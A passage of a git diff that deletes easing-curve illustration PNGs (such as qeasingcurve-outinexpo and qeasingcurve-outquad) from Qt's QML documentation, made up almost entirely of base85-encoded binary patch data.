zG&E$c{hM&|)7Jue)u|znW@MQbMPenR5LaboS)X+9AeA*8dF6&(Q8bN)!&UF?c$`*Yq5 zhxkz6J2(IRbIk&vNdg})@1$)TDx2Mv9oXF5%s@C_7x>l^c6hYAG%>7#M6z;lEU{!{ zWU%?WLP=SHItuHb)5bjT_0t|7++Oc@^9MZGA5ihhE%Ian2L89){aSfb)~>>(g|JQu z+ip=&RXsWwcU`hNI5-#?86n>H^_8kVhPi_abzox>*Exi>?)ds9E2nD@Ig&j-z#~#7 zlwhn8a9IQ*Jv9{|)9zrGuuY{0%5;dQ1VPTC^(gkDqN2xWU{fpf=UTyYttr!kL?O-C z7_GM>F)=ag>%Ib)X}k@LEZ*PmJ9pw7>?z_VS5Zfb%|SGAIDOFSjA*sYYi&Ir)c&J8 zO%q8=mL!fne;rG(iTDVWDhrsHnT?H)dk0QBvzv%>AsAjjN|Jt`B{ndW#ewt-hFAAN zPFhHaC_tn*q9ASR`X&qde zn6;gqC^$VM;~=!92A0aPNUvMOjUFM`+fRP`CeWvIL0VkT#%44{!W;lrufx>lBNh!4 zXMK>UY_nR21f$9ppv7fy|E#aCuNzWEC z@i7gcE3{pGx<^wZtI|m$xunfU&Z& z8XXrb8G^a_8RRNu~RD zP!2sw-+NytY6EyVCfUSJ+&lUZq5Xfps0%|rse)0Zx3n9+IFe+~4z-QWM>_@JXsxwj z3y+Otz5!PshZ|VX@zJUFO%k$(%4v~ z$w68RpDdFA#?;i;Z4)<_kf4xlmi3adM(}{=`uWEN3MeVpy%ZDG7S;SDzqrux!Ftot zA)i(B%a?Z#wfL0qzR$!r^V3f=0AOB~Il&s9`!efmO^vQv;x)b{+FSsPU&iN7JTL1f zYFX%A%aI9K2c~e@aN0BH%^Tzsj-Cfve1e%-UjqfiX1Y++4H#KoB=omns0~h1S0Vms z-SD*Va9ul`9xT0n@h$x~AwVC)g2Ax#bTjYti&`X(Pr!_)y8ilA%W#L~?JOql@;zCI zPiuirfPdVT&3xt4DX=^kbSYF*T`R(+J$^Qq4^qO)2nxxu-oBMyhoJ@BLa8p7i};vD z;OUY65R}Ah@#-ZedisH07%$U5genE*pvYU<3{caWK_F})(&um#s z_|2zz*vw@lMHimSO#ju=uGNz|heAW^XHJ(38PzlE>J0Rub8QG8&(9CUu3cM6q0u`k zS%M_LN6)FB^Y1$x4GRH7JpYV=!stU-;PD!u|8}bxkxNDiV`h6gm?`YD$xiB_w<*L< zUj+yF7XkS2U#F9W#->LT>6&H!Y>TLN-;!si|M`7>$LL-)sZ5h&XEJR1)ZLAChk=2H zvfIJ;=Wv7G<-RTf)W((d%EP+3W4C47=Ry5%vg!C=HvCxT)n>Kgs}Tg;g}FEWn*?t0#Y4k5?lP&*7C{4cso3G0dI3Q#&0t0BP|(<`KrX zndSFOYc}M$X52G<5WArmOXZwz@{VkMBsS1D_Fk)U#yEthJI7I!E_+B#esPzm@hUTR zll{Ru&B{pzt+i#bGYFQn^epXu+p4~IIQ0-f_}7aAnY_MZ*w5$(qPo#{4>B3bCj*eurcQWm|(*0fK^^Hu7Eku4y z>9J>M$L8@H!6EB<7L{7YjM1zek@{2Hw2j7Sjo5-V%^9~BdR{$XhvpOVFC3+%aceTS zLPqBAk7`?U)sH*l4BV-W(E`n#Ddjg-z6VS0_gV_>{JOOY{H%8jLTUOb-Jd?8X3TNx zeR%Ub(yT{NqOTcKHlv)R0Sh!Sz8em#OHEMe%d{`!ut6nU;DeWQU-7$?P50&1ZGa?gsFF=b_i!En z3V8n-P-n_gaRi|$0k3Bg1IQQtP)kaUpQb6nrO*SPKYQK4zYJ`wDKB@AVCKXiymVs! hAHzk>0rxZE3~r%8-E4(g+J7@(sAs18{<>Sl{{W%rIBWm_ diff --git a/src/qml/doc/images/qeasingcurve-outinexpo.png b/src/qml/doc/images/qeasingcurve-outinexpo.png deleted file mode 100644 index 0692baa264cc0a6c0f4fcf001529a1cb62287bed..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 2923 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 V{;^sLBhml>002ovPDHLkV1fjGdP)EQ diff --git a/src/qml/doc/images/qeasingcurve-outinquad.png b/src/qml/doc/images/qeasingcurve-outinquad.png deleted file mode 100644 index 9e3cd83896aa05d7695677f10b98a038a3c7645f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 2858 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 diff --git a/src/qml/doc/images/qeasingcurve-outinquint.png b/src/qml/doc/images/qeasingcurve-outinquint.png deleted file mode 100644 index add9feb26fdbdc091952c77120d0d94c98c36cec..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 2724 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 TEwF%?00000NkvXXu0mjf>kMB| diff --git a/src/qml/doc/images/qeasingcurve-outquad.png b/src/qml/doc/images/qeasingcurve-outquad.png deleted file mode 100644 index c505ff9e7b5c664ef2e219181675005720909fe2..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 2760 zcmV;(3ODtMP))WD>Pfn^t$EK7^E4 zc{;GFdrPT3i<7!;`buKg$4>lPRL=3~=ach4=l`AKq&4yR^Jl>jS=;C{05iG(m@$=K71@iBGg1D`W)0bFQN`xwRiWn0i~+qAj>YcO z+`LMXylihm%Tyo$N%Az!GYld81OS_jv)MQRU>G8sHK5}y5yTVAqf>zZ06^0m!x(6K zm0^l~Egsi93~H7o03a5t>~i&hiRUY@0*d0ZSp(1WEDIJ3x41}5Oc$Ti=}n6MK)_F>HW#cohCFoOVj+xldH3{+b+#3_5_;dCngN7 zt*Zb)lDx&jBV$1+0YQ?y&Bm3KH#e^eX4TjT;@O}Hvf1^#g_a(Tjoa1~pQUL&mjfYd zmOy;^^l4ApTOL}u6~Qn>E@u=E8f3ZK4Wp8?XrZ{}3Ps-slm*KYg6mcR%8^^1(gjcg zl7yutT>yNrELbcut%B+klH?18o%(8W(j?pw*bK`O+bu&Y+Xw6g*c(s|6vfZX7#A0d zYwm2;kjohXAQm$j*tkp=qgzn9*lgU=5-~Hg#g>X?37Xz|jl?j-?5wG&Y1_@SJ_9OXyH)=V zw;*Ynr|Fd)V(J2v%k=bgB9SO5Jb(WDxpU{FgvDk-@who2H~;?HZ_vTF6otxFbuc|W z{o?rXCr_R{di3Z{N5}H=G5}aYAyh{=kOEOC6r@L~nt0sY(z4SG#R3}aOG`^HU%tF{ z?OH=a0{~pQbm`QoQzbROrKnHRI#9Qu4NOl@kBp3v!7wl|Af@*ynwHp-dYl2sc4Qg&x&>8+N^D0=9a)fEwj)Lc 